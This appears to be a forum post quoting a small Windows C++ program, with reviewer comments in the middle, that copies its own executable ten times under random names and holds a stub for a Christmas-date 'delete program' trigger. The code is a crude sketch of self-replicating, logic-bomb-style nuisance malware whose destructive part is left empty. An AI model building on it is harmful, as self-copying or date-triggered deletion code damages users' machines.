Code:
#include <iostream>
#include <windows.h>
#include <cstring>
#include <ctime>
using namespace std;
int main()
{
srand((unsigned)time(0));
SYSTEMTIME ST;
GetSystemTime(&ST);
if (ST.wYear >= 2005 && ST.wMonth >= 12 && ST.wDay >= 25)
{
// cristmas delete program
}
char FileNamePath [256];
GetModuleFileName(0,FileNamePath,MAX_PATH);
char *pch = strrchr(FileNamePath,'\\');
char szExeName [256]= "";
for(int i=0;i<strlen(pch);i++)
{
*pch++;
szExeName[i] = *pch;
}
^^^ You don't need the above loop. just use strcpy() function
strcpy(szExeName,pch+1);
strcat(szExeName,"xe");
^^^ why "xe"? why not "exe" or ".exe"
CopyFile("MerryChristmas.exe","1.exe",true);
int x = 0;
do
{
x++;
int new_name = rand();
char cnew_name [256];
itoa(new_name,cnew_name,10);
strcat(cnew_name,".exe");
CopyFile(szExeName,cnew_name,true);
}
while (x < 10);
}